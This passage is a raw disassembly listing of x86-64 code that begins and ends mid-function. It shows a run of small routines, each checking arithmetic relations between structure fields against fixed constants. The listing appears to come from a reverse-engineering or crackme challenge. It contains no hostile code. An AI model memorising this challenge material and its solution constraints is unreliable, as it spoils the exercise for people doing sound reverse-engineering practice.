.text:00000000004013F8 mov edx, eax
.text:00000000004013FA mov rax, [rbp+var_10]
.text:00000000004013FE movzx eax, word ptr [rax+52h]
.text:0000000000401402 imul eax, edx
.text:0000000000401405 cmp ax, 9044h
.text:0000000000401409 jnz short loc_401412
.text:000000000040140B mov eax, 1
.text:0000000000401410 jmp short loc_401417
.text:0000000000401412 ; ---------------------------------------------------------------------------
.text:0000000000401412
.text:0000000000401412 loc_401412: ; CODE XREF: sub_4013C7+27↑j
.text:0000000000401412 ; sub_4013C7+42↑j
.text:0000000000401412 mov eax, 0
.text:0000000000401417
.text:0000000000401417 loc_401417: ; CODE XREF: sub_4013C7+49↑j
.text:0000000000401417 pop rbp
.text:0000000000401418 retn
.text:0000000000401418 ; } // starts at 4013C7
.text:0000000000401418 sub_4013C7 endp
.text:0000000000401418
.text:0000000000401419
.text:0000000000401419 ; =============== S U B R O U T I N E =======================================
.text:0000000000401419
.text:0000000000401419 ; Attributes: bp-based frame
.text:0000000000401419
.text:0000000000401419 sub_401419 proc near ; CODE XREF: sub_4036FC+714↓p
.text:0000000000401419
.text:0000000000401419 var_10 = qword ptr -10h
.text:0000000000401419 var_8 = qword ptr -8
.text:0000000000401419
.text:0000000000401419 ; __unwind {
.text:0000000000401419 push rbp
.text:000000000040141A mov rbp, rsp
.text:000000000040141D mov [rbp+var_8], rdi
.text:0000000000401421 mov [rbp+var_10], rsi
.text:0000000000401425 mov rax, [rbp+var_8]
.text:0000000000401429 movzx eax, byte ptr [rax+54h]
.text:000000000040142D mov edx, eax
.text:000000000040142F mov rax, [rbp+var_10]
.text:0000000000401433 movzx eax, byte ptr [rax+55h]
.text:0000000000401437 sub edx, eax
.text:0000000000401439 mov eax, edx
.text:000000000040143B cmp al, 0EFh
.text:000000000040143D jnz short loc_401463
.text:000000000040143F mov rax, [rbp+var_8]
.text:0000000000401443 movzx eax, byte ptr [rax+54h]
.text:0000000000401447 movsx eax, al
.text:000000000040144A mov rdx, [rbp+var_10]
.text:000000000040144E movzx edx, byte ptr [rdx+55h]
.text:0000000000401452 movsx ecx, dl
.text:0000000000401455 cdq
.text:0000000000401456 idiv ecx
.text:0000000000401458 test al, al
.text:000000000040145A jnz short loc_401463
.text:000000000040145C mov eax, 1
.text:0000000000401461 jmp short loc_401468
.text:0000000000401463 ; ---------------------------------------------------------------------------
.text:0000000000401463
.text:0000000000401463 loc_401463: ; CODE XREF: sub_401419+24↑j
.text:0000000000401463 ; sub_401419+41↑j
.text:0000000000401463 mov eax, 0
.text:0000000000401468
.text:0000000000401468 loc_401468: ; CODE XREF: sub_401419+48↑j
.text:0000000000401468 pop rbp
.text:0000000000401469 retn
.text:0000000000401469 ; } // starts at 401419
.text:0000000000401469 sub_401419 endp
.text:0000000000401469
.text:000000000040146A
.text:000000000040146A ; =============== S U B R O U T I N E =======================================
.text:000000000040146A
.text:000000000040146A ; Attributes: bp-based frame
.text:000000000040146A
.text:000000000040146A sub_40146A proc near ; CODE XREF: sub_4036FC+733↓p
.text:000000000040146A
.text:000000000040146A var_10 = qword ptr -10h
.text:000000000040146A var_8 = qword ptr -8
.text:000000000040146A
.text:000000000040146A ; __unwind {
.text:000000000040146A push rbp
.text:000000000040146B mov rbp, rsp
.text:000000000040146E mov [rbp+var_8], rdi
.text:0000000000401472 mov [rbp+var_10], rsi
.text:0000000000401476 mov rax, [rbp+var_8]
.text:000000000040147A movzx eax, byte ptr [rax+48h]
.text:000000000040147E mov edx, eax
.text:0000000000401480 mov rax, [rbp+var_10]
.text:0000000000401484 movzx eax, byte ptr [rax+5Ch]
.text:0000000000401488 add eax, edx
.text:000000000040148A cmp al, 0A7h
.text:000000000040148C jnz short loc_4014B2
.text:000000000040148E mov rax, [rbp+var_8]
.text:0000000000401492 movzx eax, byte ptr [rax+48h]
.text:0000000000401496 mov ecx, eax
.text:0000000000401498 mov rax, [rbp+var_10]
.text:000000000040149C movzx eax, byte ptr [rax+5Ch]
.text:00000000004014A0 mov edx, eax
.text:00000000004014A2 mov eax, ecx
.text:00000000004014A4 imul eax, edx
.text:00000000004014A7 cmp al, 0BEh
.text:00000000004014A9 jnz short loc_4014B2
.text:00000000004014AB mov eax, 1
.text:00000000004014B0 jmp short loc_4014B7
.text:00000000004014B2 ; ---------------------------------------------------------------------------
.text:00000000004014B2
.text:00000000004014B2 loc_4014B2: ; CODE XREF: sub_40146A+22↑j
.text:00000000004014B2 ; sub_40146A+3F↑j
.text:00000000004014B2 mov eax, 0
.text:00000000004014B7
.text:00000000004014B7 loc_4014B7: ; CODE XREF: sub_40146A+46↑j
.text:00000000004014B7 pop rbp
.text:00000000004014B8 retn
.text:00000000004014B8 ; } // starts at 40146A
.text:00000000004014B8 sub_40146A endp
.text:00000000004014B8
.text:00000000004014B9
.text:00000000004014B9 ; =============== S U B R O U T I N E =======================================
.text:00000000004014B9
.text:00000000004014B9 ; Attributes: bp-based frame
.text:00000000004014B9
.text:00000000004014B9 sub_4014B9 proc near ; CODE XREF: sub_4036FC+752↓p
.text:00000000004014B9
.text:00000000004014B9 var_10 = qword ptr -10h
.text:00000000004014B9 var_8 = qword ptr -8
.text:00000000004014B9
.text:00000000004014B9 ; __unwind {
.text:00000000004014B9 push rbp
.text:00000000004014BA mov rbp, rsp
.text:00000000004014BD mov [rbp+var_8], rdi
.text:00000000004014C1 mov [rbp+var_10], rsi
.text:00000000004014C5 mov rax, [rbp+var_8]
.text:00000000004014C9 movzx eax, byte ptr [rax+48h]
.text:00000000004014CD mov edx, eax
.text:00000000004014CF mov rax, [rbp+var_10]
.text:00000000004014D3 movzx eax, byte ptr [rax+5Dh]
.text:00000000004014D7 sub edx, eax
.text:00000000004014D9 mov eax, edx
.text:00000000004014DB cmp al, 0BFh
.text:00000000004014DD jnz short loc_401503
.text:00000000004014DF mov rax, [rbp+var_8]
.text:00000000004014E3 movzx eax, byte ptr [rax+48h]
.text:00000000004014E7 mov ecx, eax
.text:00000000004014E9 mov rax, [rbp+var_10]
.text:00000000004014ED movzx eax, byte ptr [rax+5Dh]
.text:00000000004014F1 mov edx, eax
.text:00000000004014F3 mov eax, ecx
.text:00000000004014F5 imul eax, edx
.text:00000000004014F8 cmp al, 0F2h
.text:00000000004014FA jnz short loc_401503
.text:00000000004014FC mov eax, 1
.text:0000000000401501 jmp short loc_401508
.text:0000000000401503 ; ---------------------------------------------------------------------------
.text:0000000000401503
.text:0000000000401503 loc_401503: ; CODE XREF: sub_4014B9+24↑j
.text:0000000000401503 ; sub_4014B9+41↑j
.text:0000000000401503 mov eax, 0
.text:0000000000401508
.text:0000000000401508 loc_401508: ; CODE XREF: sub_4014B9+48↑j
.text:0000000000401508 pop rbp
.text:0000000000401509 retn
.text:0000000000401509 ; } // starts at 4014B9
.text:0000000000401509 sub_4014B9 endp
.text:0000000000401509
.text:000000000040150A
.text:000000000040150A ; =============== S U B R O U T I N E =======================================
.text:000000000040150A
.text:000000000040150A ; Attributes: bp-based frame
.text:000000000040150A
.text:000000000040150A sub_40150A proc near ; CODE XREF: sub_4036FC+771↓p
.text:000000000040150A
.text:000000000040150A var_10 = qword ptr -10h
.text:000000000040150A var_8 = qword ptr -8
.text:000000000040150A
.text:000000000040150A ; __unwind {
.text:000000000040150A push rbp
.text:000000000040150B mov rbp, rsp
.text:000000000040150E mov [rbp+var_8], rdi
.text:0000000000401512 mov [rbp+var_10], rsi
.text:0000000000401516 mov rax, [rbp+var_8]
.text:000000000040151A movzx eax, word ptr [rax+4Eh]
.text:000000000040151E mov edx, eax
.text:0000000000401520 mov rax, [rbp+var_10]
.text:0000000000401524 movzx eax, word ptr [rax+4Ah]
.text:0000000000401528 sub edx, eax
.text:000000000040152A mov eax, edx
.text:000000000040152C cmp ax, 0BAC9h
.text:0000000000401530 jnz short loc_401553
.text:0000000000401532 mov rax, [rbp+var_8]
.text:0000000000401536 movzx eax, word ptr [rax+4Eh]
.text:000000000040153A mov edx, eax
.text:000000000040153C mov rax, [rbp+var_10]
.text:0000000000401540 movzx eax, word ptr [rax+4Ah]
.text:0000000000401544 add eax, edx
.text:0000000000401546 cmp ax, 0A193h
.text:000000000040154A jnz short loc_401553
.text:000000000040154C mov eax, 1
.text:0000000000401551 jmp short loc_401558
.text:0000000000401553 ; ---------------------------------------------------------------------------
.text:0000000000401553
.text:0000000000401553 loc_401553: ; CODE XREF: sub_40150A+26↑j
.text:0000000000401553 ; sub_40150A+40↑j
.text:0000000000401553 mov eax, 0
.text:0000000000401558
.text:0000000000401558 loc_401558: ; CODE XREF: sub_40150A+47↑j
.text:0000000000401558 pop rbp
.text:0000000000401559 retn
.text:0000000000401559 ; } // starts at 40150A
.text:0000000000401559 sub_40150A endp
.text:0000000000401559
.text:000000000040155A
.text:000000000040155A ; =============== S U B R O U T I N E =======================================
.text:000000000040155A
.text:000000000040155A ; Attributes: bp-based frame
.text:000000000040155A
.text:000000000040155A sub_40155A proc near ; CODE XREF: sub_4036FC+790↓p
.text:000000000040155A
.text:000000000040155A var_10 = qword ptr -10h
.text:000000000040155A var_8 = qword ptr -8
.text:000000000040155A
.text:000000000040155A ; __unwind {
.text:000000000040155A push rbp
.text:000000000040155B mov rbp, rsp
.text:000000000040155E mov [rbp+var_8], rdi
.text:0000000000401562 mov [rbp+var_10], rsi
.text:0000000000401566 mov rax, [rbp+var_8]
.text:000000000040156A movzx eax, word ptr [rax+56h]
.text:000000000040156E mov edx, eax
.text:0000000000401570 mov rax, [rbp+var_10]
.text:0000000000401574 movzx eax, word ptr [rax+4Ah]
.text:0000000000401578 imul eax, edx
.text:000000000040157B cmp ax, 7D45h
.text:000000000040157F jnz short loc_4015A5
.text:0000000000401581 mov rax, [rbp+var_8]
.text:0000000000401585 movzx eax, word ptr [rax+56h]
.text:0000000000401589 cwde
.text:000000000040158A mov rdx, [rbp+var_10]
.text:000000000040158E movzx edx, word ptr [rdx+4Ah]
.text:0000000000401592 movsx ecx, dx
.text:0000000000401595 cdq
.text:0000000000401596 idiv ecx
.text:0000000000401598 cmp ax, 1
.text:000000000040159C jnz short loc_4015A5
.text:000000000040159E mov eax, 1
.text:00000000004015A3 jmp short loc_4015AA
.text:00000000004015A5 ; ---------------------------------------------------------------------------
.text:00000000004015A5
.text:00000000004015A5 loc_4015A5: ; CODE XREF: sub_40155A+25↑j
.text:00000000004015A5 ; sub_40155A+42↑j
.text:00000000004015A5 mov eax, 0
.text:00000000004015AA
.text:00000000004015AA loc_4015AA: ; CODE XREF: sub_40155A+49↑j
.text:00000000004015AA pop rbp
.text:00000000004015AB retn
.text:00000000004015AB ; } // starts at 40155A
.text:00000000004015AB sub_40155A endp
.text:00000000004015AB
.text:00000000004015AC
.text:00000000004015AC ; =============== S U B R O U T I N E =======================================
.text:00000000004015AC
.text:00000000004015AC ; Attributes: bp-based frame
.text:00000000004015AC
.text:00000000004015AC sub_4015AC proc near ; CODE XREF: sub_4036FC+7AF↓p
.text:00000000004015AC
.text:00000000004015AC var_10 = qword ptr -10h
.text:00000000004015AC var_8 = qword ptr -8
.text:00000000004015AC
.text:00000000004015AC ; __unwind {
.text:00000000004015AC push rbp
.text:00000000004015AD mov rbp, rsp
.text:00000000004015B0 mov [rbp+var_8], rdi
.text:00000000004015B4 mov [rbp+var_10], rsi
.text:00000000004015B8 mov rax, [rbp+var_8]
.text:00000000004015BC movzx eax, byte ptr [rax+4Fh]
.text:00000000004015C0 mov edx, eax
.text:00000000004015C2 mov rax, [rbp+var_10]
.text:00000000004015C6 movzx eax, byte ptr [rax+53h]
.text:00000000004015CA add eax, edx
.text:00000000004015CC cmp al, 5Ch
.text:00000000004015CE jnz short loc_4015EB
.text:00000000004015D0 mov rax, [rbp+var_8]
.text:00000000004015D4 movzx edx, byte ptr [rax+4Fh]
.text:00000000004015D8 mov rax, [rbp+var_10]
.text:00000000004015DC movzx eax, byte ptr [rax+53h]
.text:00000000004015E0 cmp dl, al
.text:00000000004015E2 jnz short loc_4015EB
.text:00000000004015E4 mov eax, 1
.text:00000000004015E9 jmp short loc_4015F0
.text:00000000004015EB ; ---------------------------------------------------------------------------
.text:00000000004015EB
.text:00000000004015EB loc_4015EB: ; CODE XREF: sub_4015AC+22↑j
.text:00000000004015EB ; sub_4015AC+36↑j
.text:00000000004015EB mov eax, 0
.text:00000000004015F0
.text:00000000004015F0 loc_4015F0: ; CODE XREF: sub_4015AC+3D↑j
.text:00000000004015F0 pop rbp
.text:00000000004015F1 retn
.text:00000000004015F1 ; } // starts at 4015AC
.text:00000000004015F1 sub_4015AC endp
.text:00000000004015F1
.text:00000000004015F2
.text:00000000004015F2 ; =============== S U B R O U T I N E =======================================
.text:00000000004015F2
.text:00000000004015F2 ; Attributes: bp-based frame
.text:00000000004015F2
.text:00000000004015F2 sub_4015F2 proc near ; CODE XREF: sub_4036FC+7CE↓p
.text:00000000004015F2
.text:00000000004015F2 var_10 = qword ptr -10h
.text:00000000004015F2 var_8 = qword ptr -8
.text:00000000004015F2
.text:00000000004015F2 ; __unwind {
.text:00000000004015F2 push rbp
.text:00000000004015F3 mov rbp, rsp
.text:00000000004015F6 mov [rbp+var_8], rdi
.text:00000000004015FA mov [rbp+var_10], rsi
.text:00000000004015FE mov rax, [rbp+var_8]
.text:0000000000401602 movss xmm1, dword ptr [rax+56h]
.text:0000000000401607 mov rax, [rbp+var_10]
.text:000000000040160B movss xmm0, dword ptr [rax+64h]
.text:0000000000401610 mulss xmm0, xmm1
.text:0000000000401614 ucomiss xmm0, cs:dword_404C58
.text:000000000040161B jbe short loc_40164C
.text:000000000040161D mov rax, [rbp+var_8]
.text:0000000000401621 movss xmm1, dword ptr [rax+56h]
.text:0000000000401626 mov rax, [rbp+var_10]
.text:000000000040162A movss xmm0, dword ptr [rax+64h]
.text:000000000040162F addss xmm0, xmm1
.text:0000000000401633 ucomiss xmm0, cs:dword_404C74
.text:000000000040163A jp short loc_40164C
.text:000000000040163C ucomiss xmm0, cs:dword_404C74
.text:0000000000401643 jnz short loc_40164C
.text:0000000000401645 mov eax, 1
.text:000000000040164A jmp short loc_401651
.text:000000000040164C ; ---------------------------------------------------------------------------
.text:000000000040164C
.text:000000000040164C loc_40164C: ; CODE XREF: sub_4015F2+29↑j
.text:000000000040164C ; sub_4015F2+48↑j ...
.text:000000000040164C mov eax, 0
.text:0000000000401651
.text:0000000000401651 loc_401651: ; CODE XREF: sub_4015F2+58↑j
.text:0000000000401651 pop rbp
.text:0000000000401652 retn
.text:0000000000401652 ; } // starts at 4015F2
.text:0000000000401652 sub_4015F2 endp
.text:0000000000401652
.text:0000000000401653
.text:0000000000401653 ; =============== S U B R O U T I N E =======================================
.text:0000000000401653
.text:0000000000401653 ; Attributes: bp-based frame
.text:0000000000401653
.text:0000000000401653 sub_401653 proc near ; CODE XREF: sub_4036FC+7ED↓p
.text:0000000000401653
.text:0000000000401653 var_10 = qword ptr -10h
.text:0000000000401653 var_8 = qword ptr -8
.text:0000000000401653
.text:0000000000401653 ; __unwind {
.text:0000000000401653 push rbp
.text:0000000000401654 mov rbp, rsp
.text:0000000000401657 mov [rbp+var_8], rdi
.text:000000000040165B mov [rbp+var_10], rsi
.text:000000000040165F mov rax, [rbp+var_8]
.text:0000000000401663 movzx eax, byte ptr [rax+54h]
.text:0000000000401667 movsx eax, al
.text:000000000040166A mov rdx, [rbp+var_10]
.text:000000000040166E movzx edx, byte ptr [rdx+5Eh]
.text:0000000000401672 movsx ecx, dl
.text:0000000000401675 cdq
.text:0000000000401676 idiv ecx
.text:0000000000401678 test al, al
.text:000000000040167A jnz short loc_40169D
.text:000000000040167C mov rax, [rbp+var_8]
.text:0000000000401680 movzx eax, byte ptr [rax+54h]
.text:0000000000401684 mov edx, eax
.text:0000000000401686 mov rax, [rbp+var_10]
.text:000000000040168A movzx eax, byte ptr [rax+5Eh]
.text:000000000040168E sub edx, eax
.text:0000000000401690 mov eax, edx
.text:0000000000401692 cmp al, 0E2h
.text:0000000000401694 jnz short loc_40169D
.text:0000000000401696 mov eax, 1
.text:000000000040169B jmp short loc_4016A2
.text:000000000040169D ; ---------------------------------------------------------------------------
.text:000000000040169D
.text:000000000040169D loc_40169D: ; CODE XREF: sub_401653+27↑j
.text:000000000040169D ; sub_401653+41↑j
.text:000000000040169D mov eax, 0
.text:00000000004016A2
.text:00000000004016A2 loc_4016A2: ; CODE XREF: sub_401653+48↑j
.text:00000000004016A2 pop rbp
.text:00000000004016A3 retn
.text:00000000004016A3 ; } // starts at 401653
.text:00000000004016A3 sub_401653 endp
.text:00000000004016A3
.text:00000000004016A4
.text:00000000004016A4 ; =============== S U B R O U T I N E =======================================
.text:00000000004016A4
.text:00000000004016A4 ; Attributes: bp-based frame
.text:00000000004016A4
.text:00000000004016A4 sub_4016A4 proc near ; CODE XREF: sub_4036FC+80C↓p
.text:00000000004016A4
.text:00000000004016A4 var_10 = qword ptr -10h
.text:00000000004016A4 var_8 = qword ptr -8
.text:00000000004016A4
.text:00000000004016A4 ; __unwind {
.text:00000000004016A4 push rbp
.text:00000000004016A5 mov rbp, rsp
.text:00000000004016A8 mov [rbp+var_8], rdi
.text:00000000004016AC mov [rbp+var_10], rsi
.text:00000000004016B0 mov rax, [rbp+var_8]
.text:00000000004016B4 movzx eax, byte ptr [rax+55h]
.text:00000000004016B8 mov edx, eax
.text:00000000004016BA mov rax, [rbp+var_10]
.text:00000000004016BE movzx eax, byte ptr [rax+5Eh]
.text:00000000004016C2 add eax, edx
.text:00000000004016C4 cmp al, 0DDh
.text:00000000004016C6 jnz short loc_4016EC
.text:00000000004016C8 mov rax, [rbp+var_8]
.text:00000000004016CC movzx eax, byte ptr [rax+55h]
.text:00000000004016D0 movsx eax, al
.text:00000000004016D3 mov rdx, [rbp+var_10]
.text:00000000004016D7 movzx edx, byte ptr [rdx+5Eh]
.text:00000000004016DB movsx ecx, dl
.text:00000000004016DE cdq
.text:00000000004016DF idiv ecx
.text:00000000004016E1 test al, al
.text:00000000004016E3 jnz short loc_4016EC
.text:00000000004016E5 mov eax, 1
.text:00000000004016EA jmp short loc_4016F1
.text:00000000004016EC ; ---------------------------------------------------------------------------
.text:00000000004016EC
.text:00000000004016EC loc_4016EC: ; CODE XREF: sub_4016A4+22↑j
.text:00000000004016EC ; sub_4016A4+3F↑j
.text:00000000004016EC mov eax, 0
.text:00000000004016F1
.text:00000000004016F1 loc_4016F1: ; CODE XREF: sub_4016A4+46↑j
.text:00000000004016F1 pop rbp
.text:00000000004016F2 retn
.text:00000000004016F2 ; } // starts at 4016A4
.text:00000000004016F2 sub_4016A4 endp
.text:00000000004016F2
.text:00000000004016F3
.text:00000000004016F3 ; =============== S U B R O U T I N E =======================================
.text:00000000004016F3
.text:00000000004016F3 ; Attributes: bp-based frame
.text:00000000004016F3
.text:00000000004016F3 sub_4016F3 proc near ; CODE XREF: sub_4036FC+82B↓p
.text:00000000004016F3
.text:00000000004016F3 var_10 = qword ptr -10h
.text:00000000004016F3 var_8 = qword ptr -8
.text:00000000004016F3
.text:00000000004016F3 ; __unwind {
.text:00000000004016F3 push rbp
.text:00000000004016F4 mov rbp, rsp
.text:00000000004016F7 mov [rbp+var_8], rdi
.text:00000000004016FB mov [rbp+var_10], rsi
.text:00000000004016FF mov rax, [rbp+var_8]
.text:0000000000401703 movzx eax, word ptr [rax+58h]
.text:0000000000401707 mov edx, eax
.text:0000000000401709 mov rax, [rbp+var_10]
.text:000000000040170D movzx eax, word ptr [rax+5Ah]
.text:0000000000401711 sub edx, eax
.text:0000000000401713 mov eax, edx
.text:0000000000401715 cmp ax, 48ADh
.text:0000000000401719 jnz short loc_40173C
.text:000000000040171B mov rax, [rbp+var_8]
.text:000000000040171F movzx eax, word ptr [rax+58h]
.text:0000000000401723 mov edx, eax
.text:0000000000401725 mov rax, [rbp+var_10]
.text:0000000000401729 movzx eax, word ptr [rax+5Ah]
.text:000000000040172D add eax, edx
.text:000000000040172F cmp ax, 8993h
.text:0000000000401733 jnz short loc_40173C
.text:0000000000401735 mov eax, 1
.text:000000000040173A jmp short loc_401741
.text:000000000040173C ; ---------------------------------------------------------------------------
.text:000000000040173C
.text:000000000040173C loc_40173C: ; CODE XREF: sub_4016F3+26↑j
.text:000000000040173C ; sub_4016F3+40↑j
.text:000000000040173C mov eax, 0
.text:0000000000401741
.text:0000000000401741 loc_401741: ; CODE XREF: sub_4016F3+47↑j
.text:0000000000401741 pop rbp
.text:0000000000401742 retn
.text:0000000000401742 ; } // starts at 4016F3
.text:0000000000401742 sub_4016F3 endp
.text:0000000000401742
.text:0000000000401743
.text:0000000000401743 ; =============== S U B R O U T I N E =======================================
.text:0000000000401743
.text:0000000000401743 ; Attributes: bp-based frame
.text:0000000000401743
.text:0000000000401743 sub_401743 proc near ; CODE XREF: sub_4036FC+84A↓p
.text:0000000000401743
.text:0000000000401743 var_10 = qword ptr -10h
.text:0000000000401743 var_8 = qword ptr -8
.text:0000000000401743
.text:0000000000401743 ; __unwind {
.text:0000000000401743 push rbp
.text:0000000000401744 mov rbp, rsp
.text:0000000000401747 mov [rbp+var_8], rdi
.text:000000000040174B mov [rbp+var_10], rsi
.text:000000000040174F mov rax, [rbp+var_8]
.text:0000000000401753 movzx eax, byte ptr [rax+5Ah]
.text:0000000000401757 mov edx, eax
.text:0000000000401759 mov rax, [rbp+var_10]
.text:000000000040175D movzx eax, byte ptr [rax+5Ch]
.text:0000000000401761 sub edx, eax
.text:0000000000401763 mov eax, edx
.text:0000000000401765 cmp al, 0FAh
.text:0000000000401767 jnz short loc_401788
.text:0000000000401769 mov rax, [rbp+var_8]
.text:000000000040176D movzx eax, byte ptr [rax+5Ah]
.text:0000000000401771 mov edx, eax
.text:0000000000401773 mov rax, [rbp+var_10]
.text:0000000000401777 movzx eax, byte ptr [rax+5Ch]
.text:000000000040177B add eax, edx
.text:000000000040177D cmp al, 0ECh
.text:000000000040177F jnz short loc_401788
.text:0000000000401781 mov eax, 1
.text:0000000000401786 jmp short loc_40178D
.text:0000000000401788 ; ---------------------------------------------------------------------------
.text:0000000000401788
.text:0000000000401788 loc_401788: ; CODE XREF: sub_401743+24↑j
.text:0000000000401788 ; sub_401743+3C↑j
.text:0000000000401788 mov eax, 0
.text:000000000040178D
.text:000000000040178D loc_40178D: ; CODE XREF: sub_401743+43↑j
.text:000000000040178D pop rbp
.text:000000000040178E retn
.text:000000000040178E ; } // starts at 401743
.text:000000000040178E sub_401743 endp
.text:000000000040178E
.text:000000000040178F
.text:000000000040178F ; =============== S U B R O U T I N E =======================================
.text:000000000040178F
.text:000000000040178F ; Attributes: bp-based frame
.text:000000000040178F
.text:000000000040178F sub_40178F proc near ; CODE XREF: sub_4036FC+869↓p
.text:000000000040178F
.text:000000000040178F var_10 = qword ptr -10h
.text:000000000040178F var_8 = qword ptr -8
.text:000000000040178F
.text:000000000040178F ; __unwind {
.text:000000000040178F push rbp
.text:0000000000401790 mov rbp, rsp
.text:0000000000401793 mov [rbp+var_8], rdi
.text:0000000000401797 mov [rbp+var_10], rsi
.text:000000000040179B mov rax, [rbp+var_8]
.text:000000000040179F movzx eax, word ptr [rax+60h]
.text:00000000004017A3 mov edx, eax
.text:00000000004017A5 mov rax, [rbp+var_10]
.text:00000000004017A9 movzx eax, word ptr [rax+64h]
.text:00000000004017AD add eax, edx
.text:00000000004017AF cmp ax, 0E347h
.text:00000000004017B3 jnz short loc_4017D8
.text:00000000004017B5 mov rax, [rbp+var_8]
.text:00000000004017B9 movzx eax, word ptr [rax+60h]
.text:00000000004017BD cwde
.text:00000000004017BE mov rdx, [rbp+var_10]
.text:00000000004017C2 movzx edx, word ptr [rdx+64h]
.text:00000000004017C6 movsx ecx, dx
.text:00000000004017C9 cdq
.text:00000000004017CA idiv ecx
.text:00000000004017CC test ax, ax
.text:00000000004017CF jnz short loc_4017D8
.text:00000000004017D1 mov eax, 1
.text:00000000004017D6 jmp short loc_4017DD
.text:00000000004017D8 ; ---------------------------------------------------------------------------
.text:00000000004017D8
.text:00000000004017D8 loc_4017D8: ; CODE XREF: sub_40178F+24↑j
.text:00000000004017D8 ; sub_40178F+40↑j
.text:00000000004017D8 mov eax, 0
.text:00000000004017DD
.text:00000000004017DD loc_4017DD: ; CODE XREF: sub_40178F+47↑j
.text:00000000004017DD pop rbp
.text:00000000004017DE retn
.text:00000000004017DE ; } // starts at 40178F
.text:00000000004017DE sub_40178F endp
.text:00000000004017DE
.text:00000000004017DF
.text:00000000004017DF ; =============== S U B R O U T I N E =======================================
.text:00000000004017DF
.text:00000000004017DF ; Attributes: bp-based frame
.text:00000000004017DF
.text:00000000004017DF sub_4017DF proc near ; CODE XREF: sub_4036FC+888↓p
.text:00000000004017DF
.text:00000000004017DF var_10 = qword ptr -10h
.text:00000000004017DF var_8 = qword ptr -8
.text:00000000004017DF
.text:00000000004017DF ; __unwind {
.text:00000000004017DF push rbp
.text:00000000004017E0 mov rbp, rsp
.text:00000000004017E3 mov [rbp+var_8], rdi
.text:00000000004017E7 mov [rbp+var_10], rsi
.text:00000000004017EB mov rax, [rbp+var_8]
.text:00000000004017EF movzx eax, word ptr [rax+62h]
.text:00000000004017F3 mov edx, eax
.text:00000000004017F5 mov rax, [rbp+var_10]
.text:00000000004017F9 movzx eax, word ptr [rax+72h]
.text:00000000004017FD imul eax, edx
.text:0000000000401800 cmp ax, 1026h
.text:0000000000401804 jnz short loc_401829
.text:0000000000401806 mov rax, [rbp+var_8]
.text:000000000040180A movzx eax, word ptr [rax+62h]
.text:000000000040180E mov edx, eax
.text:0000000000401810 mov rax, [rbp+var_10]
.text:0000000000401814 movzx eax, word ptr [rax+72h]
.text:0000000000401818 sub edx, eax
.text:000000000040181A mov eax, edx
.text:000000000040181C cmp ax, 4637h
.text:0000000000401820 jnz short loc_401829
.text:0000000000401822 mov eax, 1
.text:0000000000401827 jmp short loc_40182E
.text:0000000000401829 ; ---------------------------------------------------------------------------
.text:0000000000401829
.text:0000000000401829 loc_401829: ; CODE XREF: sub_4017DF+25↑j
.text:0000000000401829 ; sub_4017DF+41↑j
.text:0000000000401829 mov eax, 0
.text:000000000040182E
.text:000000000040182E loc_40182E: ; CODE XREF: sub_4017DF+48↑j
.text:000000000040182E pop rbp
.text:000000000040182F retn
.text:000000000040182F ; } // starts at 4017DF
.text:000000000040182F sub_4017DF endp
.text:000000000040182F
.text:0000000000401830
.text:0000000000401830 ; =============== S U B R O U T I N E =======================================
.text:0000000000401830
.text:0000000000401830 ; Attributes: bp-based frame
.text:0000000000401830
.text:0000000000401830 sub_401830 proc near ; CODE XREF: sub_4036FC+8A7↓p
.text:0000000000401830
.text:0000000000401830 var_10 = qword ptr -10h
.text:0000000000401830 var_8 = qword ptr -8
.text:0000000000401830
.text:0000000000401830 ; __unwind {
.text:0000000000401830 push rbp
.text:0000000000401831 mov rbp, rsp
.text:0000000000401834 mov [rbp+var_8], rdi
.text:0000000000401838 mov [rbp+var_10], rsi
.text:000000000040183C mov rax, [rbp+var_8]
.text:0000000000401840 movzx eax, byte ptr [rax+5Bh]
.text:0000000000401844 mov ecx, eax
.text:0000000000401846 mov rax, [rbp+var_10]
.text:000000000040184A movzx eax, byte ptr [rax+49h]
.text:000000000040184E mov edx, eax
.text:0000000000401850 mov eax, ecx
.text:0000000000401852 imul eax, edx
.text:0000000000401855 cmp al, 80h
.text:0000000000401857 jnz short loc_40187A
.text:0000000000401859 mov rax, [rbp+var_8]
.text:000000000040185D movzx eax, byte ptr [rax+5Bh]
.text:0000000000401861 mov edx, eax
.text:0000000000401863 mov rax, [rbp+var_10]
.text:0000000000401867 movzx eax, byte ptr [rax+49h]
.text:000000000040186B sub edx, eax
.text:000000000040186D mov eax, edx
.text:000000000040186F cmp al, 0ACh
.text:0000000000401871 jnz short loc_40187A
.text:0000000000401873 mov eax, 1
.text:0000000000401878 jmp short loc_40187F
.text:000000000040187A ; ---------------------------------------------------------------------------
.text:000000000040187A
.text:000000000040187A loc_40187A: ; CODE XREF: sub_401830+27↑j
.text:000000000040187A ; sub_401830+41↑j
.text:000000000040187A mov eax, 0
.text:000000000040187F
.text:000000000040187F loc_40187F: ; CODE XREF: sub_401830+48↑j
.text:000000000040187F pop rbp
.text:0000000000401880 retn
.text:0000000000401880 ; } // starts at 401830
.text:0000000000401880 sub_401830 endp
.text:0000000000401880
.text:0000000000401881
.text:0000000000401881 ; =============== S U B R O U T I N E =======================================
.text:0000000000401881
.text:0000000000401881 ; Attributes: bp-based frame
.text:0000000000401881
.text:0000000000401881 sub_401881 proc near ; CODE XREF: sub_4036FC+8C6↓p
.text:0000000000401881
.text:0000000000401881 var_10 = qword ptr -10h
.text:0000000000401881 var_8 = qword ptr -8
.text:0000000000401881
.text:0000000000401881 ; __unwind {
.text:0000000000401881 push rbp
.text:0000000000401882 mov rbp, rsp
.text:0000000000401885 mov [rbp+var_8], rdi
.text:0000000000401889 mov [rbp+var_10], rsi
.text:000000000040188D mov rax, [rbp+var_8]
.text:0000000000401891 movzx eax, word ptr [rax+68h]
.text:0000000000401895 mov edx, eax
.text:0000000000401897 mov rax, [rbp+var_10]
.text:000000000040189B movzx eax, word ptr [rax+6Ch]
.text:000000000040189F sub edx, eax
.text:00000000004018A1 mov eax, edx
.text:00000000004018A3 cmp ax, 3F57h
.text:00000000004018A7 jnz short loc_4018CA
.text:00000000004018A9 mov rax, [rbp+var_8]
.text:00000000004018AD movzx eax, word ptr [rax+68h]
.text:00000000004018B1 mov edx, eax
.text:00000000004018B3 mov rax, [rbp+var_10]
.text:00000000004018B7 movzx eax, word ptr [rax+6Ch]
.text:00000000004018BB add eax, edx
.text:00000000004018BD cmp ax, 9B6Bh
.text:00000000004018C1 jnz short loc_4018CA
.text:00000000004018C3 mov eax, 1
.text:00000000004018C8 jmp short loc_4018CF
